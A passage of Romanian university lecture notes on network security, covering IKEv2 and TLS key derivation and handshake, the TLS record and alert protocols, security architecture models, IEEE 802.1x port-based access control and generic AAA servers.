IKE_SA & IKE_SA &
CHILD_SA CHILD_SA
stabilit stabilit
HDR, {SAi, Ni, [KEi,] TSi, TSr}SK_d}SK

CREATE_CHILD_SA
HDR, {SAr, Nr, [KEr,] TSi, TSr}SK

Principalele tranzactii IKEv2

Autentificarea entitatilor se poate face prin semnare digitala (ex. NULL, RSA, DSS,
ECDSA_WITH_SHA256_P256, etc.), MAC (aici) sau hibrid pe baza urmatorilor parametrii:
AUTHi = PRF(PRF(preshared_key, “Key Pad for IKEv2”), <InitiatorSignedOctets>)
AUTHr = PRF(PRF(preshared_key, “Key Pad for IKEv2”), <ResponderSignedOctets>)
Nota: de asemenea, algoritmii criptografici pot fi diferiti pe fiecare sens

Generarea materialului de cheie pentru IKE_SA si CHILD_SA:


SKEYSEED = PRF(Ni || Nr , gxy)

36
{SK_d || SK_ai || SK_ar || SK_ei || SK_er || SK_pi || SK_pr} =
PRF+ (SKEYSEED, Ni || Nr || SPIi || SPIr)
Unde:
PRF+ (K, S) = T1 || T2 || T3 || T4 || …
T1 = PRF(K, S || 0x01)
T2 = PRF(K, T1 || 0x02)
T3 = PRF(K, T2 || 0x03)
T4 = PRF(K, T3 || 0x04)

3.2 Protocolul TLS (Tranport Layer Security)


- standardizat de IETF (dupa SSLv3 inventat de Netscape); versiunea curenta este TLS 1.2
[RFC5246] ; TLS 1.3, in lucru ;
- extensibilitate in operarea cu suitele criptografice si flexibilitate pt. compatibilitate inapoi ;

3.2.1 Arhitectura TLS


- ofera servicii de securitate de baza, mai multor categorii de aplicatii de nivel superior (ex.
HTTP, POP3, SIP) ;
- traditional, opereaza peste TCP fiind vulnerabil la atacurile desfasurate la acest nivel ;
exista si o versiune peste UDP (DTLS) ;
- TLS este structurat pe doua niveluri pe care sunt definite protocoalele :
 nivelul superior (managementul protocolului TLS): Handshake, Change Cipher
Spec. si protocolul Alert ;
 nivelul inferior: protocolul Record
TLS TLS Change
Handshake Cipher Spec TLS Alert HTTP
Protocol Protocol Protocol

TLS Record Protocol


TCP
IP

- o sesiune TLS: este o asociere intre un client si un server creata prin protocolul TLS
Handshake. O sesiune defineste un set de parametrii criptografici de securitate care pot fi
partajati de mai multe conexiuni; avantaj: nu sunt necesare mec. de negociere a parametrilor
de securitate la stabilirea fiecarei conexiuni.

Contextul unei sesiuni (starea) este definit de urmatorii parametrii de securitate :


 identificatorul de sesiune : un numar aleator determinat de server pentru a identifica setul
de parametrii de securitate pt. noua conexiune care va fi stabilita;
 certificatul corespondentului : impicit in format X509.v3. Poate avea valoarea NULL;
 metoda de compresie : specifica algoritmul de compresie;
 specificatorul algoritmilor criptografici : specifica algoritmul de criptare a fluxului de
date (ex. NULL, 3DES_EDE_CBC, etc.) si algoritmul hash (ex. NULL, HMAC-MD5,
HMAC-SHA-1, HMAC-SHA256) utilizat in calculul valorii MAC [~RFC2104]; in plus,
precizeaza parametrii criptografici aferenti algoritmilor criptografici utilizati (ex. hash
size) ;
 cheia secreta master : este un numar secret pre-partajat intre server si client (48 octeti);

37
 flag de reactivabilitate : precizeaza daca sesiunea poate fi utilizata pentru a initia alte noi
conexiuni;

Contextul unei conexiuni (starea)este definit de urmatorii parametrii care sunt transferati
nivelului TLS Record :
 numar aleator al serverului/clientului : sunt numere aleatoare alese pentru fiecare
conexiune TLS, de catre server, respectiv client (32 octeti);
 cheia MAC a serverului : este o cheie secreta utilizata in operatii MAC efectuate de server
asupra datelor pe care le transmite ;
 cheia MAC a clientului : este o cheie secreta utilizata in operatii MAC efectuate de client
asupra datelor pe care le transmite ;
 cheia de criptare a serverului : este cheia algoritmului de criptare conventional, pentru
datele criptate de server si decriptate de client ;
 cheia de criptare a clientului : este cheia algoritmului de criptare conventional, pentru
datele criptate de client si decriptate de server ;
 vectorii de initializare (IV): este necesar un IV pentru fiecare cheie, atunci cand se
utilizeaza modul de operare CBC. IV este initializat de catre protocolul Handshake, apoi
valoarea IV este generata aleator pentru fiecare obiect record criptat(garantarea
impredictibilitatii);
 numere de secventa : fiecare corespondent gestioneaza pentru fiecare conexiune numere
de secventa distincte, pentru mesajele transmise si cele receptionate. Cand un corespondent
transmite/receptioneaza un mesaj al protocolului Change Cipher Spec. numarul de secventa
corespunzator este resetat (val. max. este 264 - 1).

3.2.2 Protocolul TLS Record


- ofera urmatoarele servicii per conexiune:
 confidentialitate: cu cheia secreta partajata stabilita de protocolul TLS Handshake si
algoritmul conventional simetric;
 integritatea mesajului: de asemenea, protocolul SSL Handshake stabileste o cheie secreta
partajata pentru calculul valorii MAC

In figura de mai jos este ilustrat modul de operare al protocolului TLS Record. Mesajul original
de la aplicatie care va fi transmis, este :
 fragmentat (max. 214 octeti) ;
 comprimat (optional, daca nu se specifica un algoritm de compresie => este NULL);
 calculul valorii MAC[RFC2104] pe baza unei chei secrete partajate, si concatenarea ei la
pachetul de transmis.
MAC = hash(MAC_write_secret || pad_2 ||
hash(MAC_write_secret || pad_1 || seq_num || TLSCompressed.type ||
TLSCompressed.length || TLSCompressed.fragment) )
Unde :
MAC_write_secret = cheia secreta partajata ;
hash = algoritmul criptografic hash (ex. MD5, SHA-1, SHA256) ;
pad_1 = octetul 0x36, repetat de 48 de ori pentru MD5 si de 40 de
ori pentru SHA-1 ;
pad_2 = octetul 0x5c, repetat de 48 de ori pentru MD5, si de 40 de
ori pentru SHA-1 ;
seq_num = numarul de secventa pentru acest mesaj (64 biti);
TLSCompressed.type = protocolul de la nivelul superior utilizat pentru procesarea
fragmentului ;

38
TLSCompressed.length = lungimea fragmentului comprimat ;
TLSCompressed.fragment = fragmentul in text-clar, posibil comprimat;

 criptat, cu un algoritm de criptare simetric; nu trebuie sa mareasca lungimea payloadului


cu mai mult de 1024 octeti. Algoritmii acceptati sunt precizati in tabelul urmator:

Block Cipher Stream Cipher


Algorithm Key Size Algorithm Key Size
3DES_EDE_CBC 168 RC4_128 128
AES_128_CBC 128
AES_256_CBC 256
Nota: in cazul utilizarii unui algoritm de criptare bloc, se poate pada dupa valoarea MAC si
inainte de criptare; prin pad se intelege un grup de octeti de umplutura care se termina cu un
specificator lungime codat pe un octet. Lungimea padului este determinata de cel mai mic
numar de octeti necesari, astfel incat lungimea totala a datelor de criptat (mesaj text-clar +
MAC + pad) este un multiplu al lungimii blocului de criptare.

 este atasat un antet TLS, care consta din urmatoarele campuri :


o tipul continutului (8 biti): specifica protocolul de la nivelul superior. Poate avea
valorile: change_cipher_spec, alert, handshake si application_data;
o numarul major de versiune (8biti) : specifica numarul major al versiunii TLS
utilizate ;
o numarul minor de versiune (8 biti) : specifica numarul minor al versiunii TLS
utilizate ;
o lungimea payloadului (16 biti) : precizeaza lungimea in octeti a fragmentului in
text-clar (eventual comprimat) ; max. 214+2048

In final, noul pachet rezultat este transmis printr-un segment TCP. La receptie se repeta
aceleasi operatii, dar in ordine inversa.
Application data

Fragment

Compress

Add MAC

Encrypt

Append TLS
Record header
Operarea protocolului TLS Record

In figura de mai jos, este prezentat formatul mesajelor TLS Record.

39
Content Major Minor Compressed
Type Version Version Length

Plaintext
(optionally
Encrypted compressed)

MAC (0, 16, 20 or 32 bytes)

Padding

Formatul mesajelor TLS Record

Protocolul Change Cipher Spec


-are ca scop sincronizarea suitelor criptografice intre client si server dupa fiecare actualizare;
consta dintr-un singur mesaj care notifica momentul in care se va activa noua suita
criptografica;
- mesajul este definit dintr-un singur octet cu valoarea « 1 » (Fig XXX, a) criptata cu criptosuita
curenta ;

Protocolul Alert
-scopul este de a transmite alarme TLS specifice catre entitatea corespondenta.
-toate mesajele sunt structurate in doi octeti (Fig XXX, b) : primul octet precizeaza nivelul
alarmei(avertizare=1, fatal=2). Daca nivelul este fatal, atunci conexiunea este terminata
imediat, celelalte conexiuni ale aceleiasi sesiuni putand totusi sa-si continue activitatea. Nici o
conexiune noua nu va mai putea fi stabilita pentru aceasta sesiune; al doilea octet defineste
alarma.

1 byte 1 byte 3 bytes ≥ 0 bytes


1 Type Length Content
(a) Change Cipher (c) Handshake
Spec. Protocol Protocol

1 byte 1 byte ≥ 1 byte


Level Code Opaque Content

(b) Alert Protocol (d) Other Upper-Layer Protocol (e.g. HTTP)


Payload-ul protocolului TLS Record

3.2.3. Protocolul TLS Handshake


- serviciile oferite: negocierea parametrilor criptografici (algoritmi de criptare, MAC,
versiune TLS, etc.), autentificarea entitatilor(numai a serverului, mutuala sau NULL), si

40
stabilirea cheilor criptografice (pt. nivelul TLS Record) folosind tehnici de criptare
asimetrice;

- mesajele acestui protocol au formatul ilustrat in Fig XXX, c) din fig de mai sus. Cele trei
campuri ale mesajului sunt :
 Type (1 octet) : precizeaza tipul mesajului ; in tabelul de mai jos sunt listate toate tipurile
de mesaje ale acestui protocol ;
 Length (3 octeti) : lungimea mesajului in octeti ;
 Content (≥ 1 octet) : desemneaza un anumit tip de mesaj care poate include mai multi
parametrii; in tabelul de mai jos sunt listati acesti parametrii :

Message Type Parameters


HelloRequest null
ClientHello version, random, session id.,
cipher suite, compression
method, extensions
ServerHello version, random, session id.,
cipher suite, compression
method, extensions
Certificate chain of X.509v3 certificates
ServerKeyExchange parameters, signature
CertificateRequest type, sgn-hash, authorities
ServerHelloDone null
CertificateVerify signature
ClientKeyExchange parameters, signature
Finished hash value

In diagrama MSC de mai jos este ilustrat protocolul Handshake pentru stabilirea unei conexiuni
logice intre client si server. Se observa ca protocolul se desfasoara in 4 fze, astfel :

41
Client Server
ClientHello Establish security capabilities,
including protocol version, session
ServerHello ID, cipher suite, compression method,
and initial random numbers
Certificate*
ServerKeyExchange* Server may send certificate, key
exchange, and request certificate.
CertificateRequest* Server signals end of hello message
ServerHelloDone phase.

Certificate*
Client sends certificate if requested.
ClientKeyExchange Client sends key exchange. Client
CertificateVerify* may send certificate verification.

[ChangeCipherSpec]

Finished
Change cipher suite and finish
[ChangeCipherSpec] handshake protocol.
Finished

Faza I : Stabilirea capabilitatilor(parametrilor) de securitate


-initierea conexiunii logice si stabilirea parametrilor de securitate acceptabili de ambele
entitati ;
-aceasta faza este initiata de catre client prin transmiterea mesajului ClientHello cu urmatorii
parametrii :
 Version : precizeaza cea mai recenta versiune TLS cu care poate lucra clientul ;
 Random : este un numar nonce pentru a preveni atacurile prin repetitie ; este generat de
client si consta dintr-o stampila de timp (32 biti) si un numar aleator (28 octeti) ;
 Session ID : are lungime variabila; o valoare diferita de 0, arata ca clientul vrea sa
foloseasca pt. conexiunea curenta o sesiune cu acest ID (reactivare sesiune din cache); o
valoare zero, arata ca clientul vrea sa stabileasca o noua sesiune pt. conexiunea curenta;
 CipherSuites: este o lista prin care clientul precizeaza in ordinea preferintelor,
combinatiile de mecanisme criptografice suportate (vezi Anexa F). Fiecare element al listei
(i.e. suita criptografica) precizeaza un protocol pentru autentificarea entitatii si stabilirea
cheilor cat si un CipherSpec (ex. algo simetric, mod de operare, MAC); suite criptografice
implicite : TLS_RSA_WITH_AES_ 128_CBC_SHA, TLS_RSA_WITH_
AES_128_GCM_SHA256, s.a.
 Compression Method : este o lista prin care clientul precizeaza metodele de compresie
suportate
 Extensions : o lista de capabilitati suportate de client dintre care se solicita ca serverul sa
selecteze una cu care va opera (ex. extensia signature_algorithms specifica combinatii
hash-sgn suportate din multimea {NONE, MD5, SHA1, SHA224, SHA384, SHA512} ×
{ANONYMOUS, RSA, DSA, ECDSA}.

42
Apoi, clientul asteapta receptionarea mesajului ServerHello, care va contine aceiasi parametrii
ca si mesajul ClientHello, insa cu urmatoarea semantica :
 Version : precizeaza cea mai recenta versiune TLS propusa anterior de client si suportata
si de server ;
 Random : un numar nonce generat de server in mod independent de numarul aleator
generat de client ;
 Session ID: daca valoarea campului omonim receptionata de la client este diferita de zero,
serverul va incerca sa reactiveze sesiunea cu acest ID pt. conexiunea curenta si va raspunde
cu acelasi ID; altfel, va participa in stabilirea unei noi sesiuni si va raspunde cu un nou
numar de sesiune sau cu zero pt. a preveni reactivarea sesiunii de catre client;
 CipherSuite : precizeaza o singura suita criptografica selectata de server din lista propusa
de client. Protocolul de autentificare a entitatii si stabilire a cheii criptografic suportat:
o RSA : cheia secreta este criptata cu algoritmul RSA ; este necesar un certificat
pentru cheia publica a serverului; a fost definita si o varianta RSA_PSK ;
o DH certificat(DH-RSA, ECDH-RSA, DH-DSS, ECDH-ECDSA) : se utilizeaza
un certificat al serverului care contine cheia publica DH, semnata de un CA tert;
clientul poate furniza cheia publica DH la fel, printr-un certificat daca clientul
trebuie autentificat, sau printr-un alt protocol de stabilire a cheii;
o DH efemer(DHE-RSA, ECDHE-RSA, DHE-DSS, ECDHE-ECDSA): este o
tehnica prin care se creaza chei secrete temporare de unica folosinta. In acest caz
cheile publice DH transferate sunt semnate cu cheia privata RSA/DSS a
transmitatorului. Aceasta metoda suporta cel mai inalt nivel de securitate dintre
variantele DH, pentru ca utilizeaza chei temporare autentificate ;
o DH anonim : se utilizeaza algoritmul DH de baza fara asigurarea autenticitatii ;
Fiecare entitate corespondenta va transmite parametrii publici DH fara garantarea
autenticitatii acestora. Este vulnerabil la atacul MITM.
Algoritmi criptografici:
o Cipher Algorithm: NULL, RC4, 3DES_EDE_CBC, AES128, AES256; in
modurile: sir(flux), bloc (CBC) sau AEAD (ex. CCM, GCM);
o MAC Algorithm : NULL, HMAC-MD5, HMAC-SHA1, HMAC-SHA256,
HMAC-SHA384, HMAC-SHA512;
 Compression Method : precizeaza metoda de compresie selectata de server din lista
propusa de client
 Extensions : o lista de capabilitati suportate de server; numai dintre cele solicitate de catre
client.

Faza II : Autentificarea serverului si stabilirea cheii


Aceasta faza incepe cu transmiterea de catre server a propriului Certificat de cheie publica,
atunci cand acesta doreste sa fie autentificat, inclusiv cand foloseste un protocol PK pentru
stabilirea cheii de sesiune (acest mesaj poate contine in plus un lant de certificate X.509 pt.
validare).
Urmatorul mesaj ServerKeyExchange este transmis numai daca este necesar. Nu este necesar
in doua situatii :
 DH certificat : cand serverul a transmis deja certificatul de cheie publica ;
 RSA : pentru transportul criptat al cheii ;
Este necesar in urmatoarele situatii:
 DH anonim : caz in care continutul mesajului consta din doi parametrii publici DH (un
numar prim si o radacina primitiva a numarului) si cheia publica DH a serverului =
ServerDHParams;

43
 DH efemer : caz in care continutul mesajului consta din cei trei parametrii precizati pentru
metoda DH anonim, plus semnatura digitala peste urmatorii parametrii :
ClientHello.random || ServerHello.random || ServerDHParams

Obs : cele doua valori nonce previn atacurile prin repetitie sau prin reformatare. In cazul
aplicarii schemei de semnare DSS, se utilizeaza algoritmul SHA-1.

In continuare, serverul ar putea sa ceara un certificat de la client. Mesajul CertificateRequest


include trei parametrii : certificate_types, sgnhash_algorithms si certificate_authorities.
Parametrul certificate_type poate avea valorile:
 RSA_SGN = certificat care contine o cheie publica RSA ;
 DSS_SGN = certificat care contine o cheie publica DSA ;
 RSA_FIXED_DH = certificat pentru o cheie publica DH statica (utilizata numai pentru
autentificare);
 DSS_FIXED_DH= certificat pentru o cheie publica DH statica (utilizata numai pentru
autentificare)

Nota: in TLS1.2 rolul sau este preluat de al 2-lea paramentru.

Al doilea parametru sgnhash_algorithms este o lista de perechi de alg. (hash, signature)


suportate de server pt. verificare. A fost definit pentru a extinde suportul de semnare digitala
furnizat de SSLv3. Al treilea parametru certificate_authorities este o lista de nume DN
(Distinguished Names) a CAurilor de incredere.

Ultimul mesaj din Faza II (intotdeauna necesar), este ServerHelloDone care marcheaza
sfarsitul setului de mesaje de tip « Hello ». Nu are parametrii. Dupa transmisia acestui mesaj
serverul asteapta un raspuns de la client.

Faza III : Autentificarea clientului si stabilirea cheii


Dupa receptionarea mesajului ServerHelloDone clientul va verifica : validitatea certificatului
serverului (daca a fost transmis), daca parametrii mesajului ServerHello sunt acceptabili ; daca
ambele verificari au rezultat de succes, clientul va raspunde cu urmatoarele mesaje.
Clientul va raspunde cu un mesaj Certificate, daca serverul a solicitat certificatul clientului.
Daca nu are un certificat va raspunde, in schimb, cu o alerta no_certificate. Serverul va verifica
cu ajutorul acestui certificat mesajul CertificateVerify(cand autentificarea clientului se bazeaza
pe semnatura) sau va calcula cheia premaster (in cazul DH certificat).
Clientul trebuie sa transmita in aceasta faza mesajul ClientKeyExchange al carui continut
depinde de tipul protocolului de stabilire a cheii utilizat:
 RSA : clientul genereaza o cheie secreta pre-master(48 octeti) = client_version(previne
atacul rollback) || random(46 octeti) si o cripteaza cu cheia publica din certificatul
serverului;
 DH efemer sau DH anonim : este transmisa cheia publica DH a clientului ;
 DH certificat: nu va contine nimic.

In final, clientul transmite un mesaj CertificateVerify care ofera explicit informatiile necesare
pentru validarea certificatului clientului (verificarea cunoasterii cheii private asociate
certificatului clientului = autentificarea clientului). Este transmis numai in cazul certificatelor
PK cu atribute de semnare (i.e. toate cu exceptia protocolului DH certificat). Mesajul contine
o semnatura calculata pe baza mesajelor precedente (toate mesajele protocolului Handshake
(trs/rec) incepand cu mesajul ClientHello pana la mesajul curent).

44
Faza IV : Finalizarea protocolului
Clientul transmite un mesaj ChangeCipherSpec dupa care activeaza noul set de parametrii de
securitate CipherSpec. Apoi, clientul transmite imediat mesajul Finished construit pe baza noii
suite criptografice. Scopul este de a oferi un mijloc de confirmare pentru protocolul de
autentificare si stabilire de chei. Fiecare entitate va transfera datele de nivel aplicatie numai
dupa ce a primit si validat, respectiv a trimis mesajul Finished. Continutul mesajului Finished
(> implicit 12 octeti ; in functie de suita criptografica) este calculat pe baza tuturor mesajelor
precedente (trs/rec. incepand cu mesajul ClientHello pana la mesajul curent):
PRF(master_secret || finished_label || hash(handshake_messages))

Serverul transmite la randul lui un mesaj ChangeCipherSpec si activeaza noul set de


parametrii CipherSpec, apoi transmite un mesaj similar Finished.
In acest moment cele doua entitati corespondente pot incepe sa transfere datele solicitate de
catre nivelul aplicatie.

Mecanisme pt. calculul parametrilor criptografici


a) Derivarea cheii secrete master (48 octeti): per sesiune, printr-o procedura in doua etape:
 stabilirea cheii secrete pre_master_secret prin unul din protocoalele:
o (RSA)clientul genereaza aleator o cheie pre_master_secret (48 octeti) o
cripteaza cu cheia publica RSA a serverului si o transmite acestuia ;
o (DH-any) clientul si serverul stabilesc prin negociere o cheie prepartajata care
va reprezenta pre_master_secret;
 apoi calculul cheii master_secret de catre ambii corespondenti, astfel :
master_secret = PRF(pre_master_secret, « master secret«, ClientHello.random ||
ServerHello.random)[0..47] ;

Unde : ClientHello.random si ServerHello.random sunt cele doua valori nonce


transferate in mesajele initiale de tip « *Hello ».

b) Generarea cheilor criptografice si a valorilor IV: se vor genera (in aceasta ordine) din
master_secret pt. suita criptografica CipherSpec: cheia secreta MAC a clientului si a
serverului, cheia secreta de criptare a clientului si a serverului, valorile IV a clientului si a
serverului (de ex. pt. AES_256_CBC_SHA256 genereaza 2x32 + 2x32 octeti).
key_block = PRF (SecurityParams.master_secret || «key expansion» ||
SecurityParams.server_random || SecurityParams.client_random) )

Unde :
PRF(secret, label, seed) = P_<hash>(secret, label || seed)

P_hash(secret, seed) = HMAC_hash(secret, A(1) || seed) ||


HMAC_hash(secret, A(2) || seed) ||
HMAC_hash(secret, A(3) || seed) || …
A(0) = seed
A(i) = HMAC_hash(secret, A(i-1))

Nota : PRF este specific suitei criptografice; implicit TLS_PRF_SHA256;

45
4. Modele de arhitecturi de securitate pentru retea

Def: prin arhitectura de securitate [RFC4949] se intelege o organizare, avand la baza un set
de principii si reguli de securitate, care specifica:
a) serviciile de securitate necesare a fi furnizate de un sistem pentru a satisface cerintele
utilizatorilor sai;
b) elementele de sistem necesare pt. implementarea serviciilor de securitate si relatiile de
incredere partajate intre ele;
c) nivelurile de performanta ale componentelor necesare pentru a functiona intr-un mediu
malitios.

4.1. Modelul pt. securizarea comunicatiilor intre corespondenti (principali)


- poate fi punct-la-punct (figura de mai jos), sau punct-la-multipunct;
- sta la baza arhitecturilor de securitate:
 “End-to-end”: atunci cand cei doi corespondenti sunt chiar sursa si destinatia unei
comunicatii. Functia criptografica este aplicata de catre entitatea sursa si destinatie, asupra
tuturor mesajelor transferate intre acestea. Se poate aplica la nivelurile: retea, transport sau
aplicatie.
Avantaje:
 securitatea informatiilor transferate nu depinde de nivelul de securitate al
infrastructurii de transport (fata de modelul de mai jos);
 ofera implicit un serviciu de autentificare a datelor (prin partajarea cheii secrete).
Modelul de mai jos nu ofera implicit acest serviciu.
Limitare: atunci cand pachetele trebuie procesate in nodurile intermediare ale retelei; o
solutie este implementarea functiilor criptografice la nivelul superior (aplicatie). Insa, in acest
caz, nu se poate obtine o protectie fata de atacul prin “analiza de trafic”. De ex. aplicarea serv
de sec. la nivelul 3 este un compromis din acest punct de vedere.

o “Hop-by-hop”: in care intre cei doi corespondenti exista mai multe instante ale modelului de
securizare e2e pentru fiecare pereche de noduri intermediare asociate comunicatiei.
Se poate aplica la toate nivelurile OSI. Dezavantaje:
 efort mare de calcul (numar mare de operatii criptare-decriptare);
 necesita relatii de incredere intre entitatile sursa si destinatie si nodurile de
comunicatie intermediare;
 numar mare de chei unice de generat si distribuit (intre fiecare pereche de noduri)

46
Trusted Third Party
(e.g. arbitrer, distributer of
secret information)
Principal Principal

Message Security Security Message


transformation Information channel transformation
Secret Secret
information information

Opponent
Modelul de securitate utilizat pentru securizarea comunicatiilor in retele [~WS99]

- se presupune ca amenintarile atacatorului au ca tinta informatia transferata prin retea sau


functionalitatile/info din fiecare nod de retea intermediar. De ex., in figura atacatorul poate
actiona direct asupra canalului logic de comunicare; amenintarile atacatorului sunt la adresa:
confidentialitatii, autenticitatii, integritatii (pachetelor sau a tranzactiilor) mesajelor transferate;
- acest model presupune doua componente principale:
 aplicarea unei transformate de securizare (ex. criptografice) asupra informatiilor transferate pe
canalul logic;
 partajarea unui unui cod secret (i.e. parola, cheie) intre cele doua entitati principal
- in unele cazuri pentru a realiza comunicatii securizate este necesara o entitate tert de incredere
(TTP): entitatea TTP in rolul unui server pentru stabilirea si distribuirea codului secret catre
cei doi principali cu garantarea confidentialitatii codului secret (ex. cheie simetrica). Sau, TTP
poate avea rolul unui arbitru in cazul unor dispute dintre cei doi principali (ex. fata de
repudierea mesajelor).
- acest model arata ca pentru a proiecta un serviciu de securitate trebuie solutionate patru
probleme:
 proiectarea/selectarea unui algoritm pentru implementarea transformate de securitate;
Algoritmul nu trebuie sa fi vulnerabil
 generarea codului secret utilizat de algoritmul de mai sus;
 definirea unor metode pentru distribuirea si partajarea codului secret;
 specificarea unui protocol care va fi aplicat de cei doi principali care va utiliza codul secret
si algoritmul pentru a furniza un anumit serviciu de securitate particular

Intrebare: care dintre cele doua modele de securitate poate fi aplicat pentru securizarea
serviciului de email ?
Intrebare: numiti un dezavantaj al aplicarii functiei de criptare la nivelul aplicatie (Indicatie:
numar de entitati de criptare proportional cu numarul de utilizatori/procese).
Cz: cu cat ne plasam mai sus in ierarhia OSI cu atat mai putina informatie este criptata, dar cu
atat mai mult este mai securizata la traversarea prin retea.

47
Encrypted

L2-H IP-H TCP-H Data L2-T


a) Application-Level Encryption (on links and at routers and gateways)

Encrypted

L2-H IP-H TCP-H Data L2-T


On links and at routers

L2-H IP-H TCP-H Data L2-T


In gateways
b) TCP-Level Encryption
Encrypted

L2-H IP-H TCP-H Data L2-T


On links

L2-H IP-H TCP-H Data L2-T


In routers and gateways
Legend:
TCP-H = TCP header
c) Link-Level Encryption IP-H = IP header
Link-H = Data Link Comtrol protocol header
Link-T = Data Link Control protocol trailer

Strategii de criptare vs. vizibilitate in retea [~WS99]

Obs: daca criptarea se aplica la nivelul aplicatie, atacatorul poate identifica entitatile de
transport implicate in comunicatie; daca se aplica la nivelul transport, atacatorul poate
determina adresele entitatilor care comunica.

Nota: se poate ca cele doua modele sa fie aplicate combinat;

4.2. Modelul pentru controlul accesului la o resursa de retea


- mecanismele de securitate aplicate in acest caz, au fost grupate in doua categorii:
 a mecanismelor pentru controlul accesului (ex. protocoale pentru autentificare, autorizare
si mecanisme de filtrare);
 a doua linie de aparare, care include mecanismele (interne) de monitorizare, jurnalizare si
auditare a activitatii sistemului protejat pentru detectarea prezentei unor utilizatori malitiosi
(masuri reactive)

48
Information system
Computing resources
User/Opponent (CPU, memory, I/O)
Gatekeeper
- human Access channel Data
function
- software(e.g. Processes
virus, worm) Software
Internal security controls

Modelul de securitate utilizat pentru controlul accesului la o resursa [~WS99]

4.3 Arhitectura IEEE 802.1x pentru controlul accesului bazat pe port

Obiectivul principal este realizarea urmatoarelor servicii de securitate:


 controlul accesului entitatii de retea, care se ataseaza la un port al retelei de acces de tip
LAN printr-o conexiune de tip punct-la-punct;
 (re)autentificarea si autorizarea entitatilor de retea, independenta de metodele de
autentificare (interoperabilitate)

Nota: prin port se intelege interfata de conectare a unei entitati de retea la o retea LAN (ex.
porturi fizice: de bridge, de switch, interfata de retea a unui ruter sau server; porturi logice: o
asociere terminal (STA) - punct de acces (AP), specifica retelelor radio de tip WLAN 802.11);

Figure prezinta arhitectura 802.1x:


 autentificatorul: este entitatea de la capatul conexiunii punct-la-punct care ofera suport
pentru autentificarea entitatii suplicant de la celalalt capat; in plus, autentificatorul are
capacitatea de a reautentifica periodic suplicantul. De asemenea, autentificatorul comanda
starea portului de acces la retea pentru a restrictiona accesul entitatilor suplicant
neautorizate;
 serverul pentru autentificare: este o entitate care furnizeaza entitatii autentificator un
serviciu de autentificare a entitatii suplicant pe baza credentialelor furnizate de suplicant
(via autentificator). Cu ajutorul acestui serviciu, autentificatorul afla daca entitatea
suplicant este autentica si autorizata sa acceseze serviciile retelei;
 suplicantul: este o entitate logica care solicita din partea entitatii terminal acces la
serviciile retelei. Aflata la capatul conexiunii punct-la-punct, aceasta entitate este
autentificata de entitatea autentificator care este situata la celealalt capat al conexiunii;
 entitate de acces per port (PAE): este o entitate logica asociata cu un port care poate
avea rolul unui suplicant sau autentificator, in functie de context. Astfel, este posibil un
mod de operare flexibil in cazul conectarii a doua echipamente 802.1x in cascada (ex. de
tip bridge sau switch), pt. ca un port se configureaza in rol de suplicant in timp ce celalalt
port se configureaza in rol de autentificator.

- exista doua relatii de incredere: intre suplicant si serverul de autentificare si intre


autentificator si serverul de autentificare;

Modul de operare
-un port fizic la care este asociat un PAE autentificator este echivalent functional cu doua
porturi virtuale de comunicare:
 un port necontrolabil pentru transferul PDU intre suplicant si serverul de
autentificare, via autentificator (1), in mod independent de starea de autorizare a

49
entitatii terminal. Scopul acestui port este de a permite protocolului de autorizare sa
faca bypass al functiei de control al accesului;
 un port controlabil pentru a controla transferul PDU intre entitatea terminal si
serviciile retelei LAN (3), care opereaza in functie de starea de autorizare a entitatii
terminal. Astfel, acest port la un moment dat se gaseste intr-una din cele doua stari:
autorizat (comutator in pozitia “inchis”), neautorizat (comutator in pozitia
“deschis”). Initial acest port se gaseste in starea neautorizat

(Utilizator- STA) (Punct de acces – AP/NAS)


Port 802.1x Port 802.1x
(3)
Suplicant Servicii
PAE I/f
(2) LAN
(1)
Autentificator
PAE

EAP/RADIUS sau Diameter

Server de
autentificare

Figure 4-3: Arhitectura 802.1x

-PAE suplicant este responsabila pentru raspunsurile la cererile primite de la serverul de


autentificare via autentificator prin care se solicita transmiterea credentialelor (1);
-PAE autentificator este responsabila de comunicatia cu suplicantul si de transferul
credentialelor primite de la suplicant catre serverul de autentificare si autorizare. De asemenea,
PAE autentificator controleaza starea autorizat/neautorizat a portului de control (2), in functie
de rezultatul procesului de autentificare si autorizare.

-comunicatia (1) este realizata conform unui protocol de autentificare (ex. TLS, PEAP, CHAP)
incapsulat in protocolul EAP si transportat peste protocolul EAPOL intre suplicant si
autentificator si peste protocolul RADIUS/Diameter (rutabil, securizat) intre autentificator si
serverul de autentificare impreuna cu un protocol de incapsulare EAP-over-RADIUS;

-specificarea comunicatiei dintre autentificator si serverul de autentificare este considerata in


afara ariei acoperite de acest document; Alternativ, entitatile autentificator si server de
autentificare pot fi colocate pe acelasi sistem (AP);

4.4 Arhitectura generica AAA [RFC2903]


Def: o retea de servere AAA interconectate printr-un protocol standard, capabila de
autentificarea utilizatorilor, tratarea cererilor de autorizare, si colectarea datelor pentru
contabilizare, in context multi-domeniu, multi-provider si in care entitatile au diverse
roluri (en. User Home Organizations, brokers).

50
AAA

RP
ASM
Client AAA

RP
ASM

AAA

RP
ASM

Arhitectura de serviciu multi-tip si multi-domeniu

Componente functionale ale unui server AAA generic


 Evaluarea regulilor de autorizare: cererile din partea aplicatiei client sunt trimise
direct catre un server AAA; unul sau mai multe servere din reteaua AAA vor lua o
decizie de autorizare pe baza info generice din cerere si a unor reguli (+fct logice si
formule algebrice);
 Modulul ASM: pt. gestionarea (ex. initializare, configurare) resurselor/serviciilor la
care aplicatia client a fost autorizata; poate participa la procesul de autorizare, cu functii
specifice aplicatiei (ex. poate accesa DBs cu parametrii aplicatiei);
 Jurnalizarea evenimentelor de autorizare: serverul AAA inregistreaza in baza de
date evenimentele locale, la care asociaza o stampila de timp; scop: audit, contabilizare,
autorizare cu stare;
 Directorul de politici (en. Policy Repository): un DB cu servicii/resurse accesibile +
regulile pt. procesul de decizie de autorizare;
 Dirijarea cererilor: pt. a suporta natura distribuita multi-domeniu a infrastructurii
AAA;

Modelul unui server AAA generic


-la primirea unei cereri (de la aplicatia client sau de la un alt server AAA) prin protocolul
standard AAA “1”, determina tipul cererii curente, recupereaza regulile din director, realizeaza
functii locale diverse, in final va efectua una din actiunile de mai jos:
 trimite componente din cerere catre un modul ASM pt. evaluare (protocolul “2”);
 solicita un raspuns de la sistemul de jurnalizare a evenimentelor de autorizare sau de la
directorul de politici;
 dirijeaza si transporta mai departe componentele cererii catre alt server AAA, pentru
evaluare

-interactiunile unui server AAA generic:

51
1 Generic AAA server 1
request Rule based engine AAA server

2 3
Policy and
event
ASM repository
5

Service

Interactiunile unui server AAA generic

-serverul AAA poate opera ca GW intre doua protocoale AAA standard, pe interfata “1” din
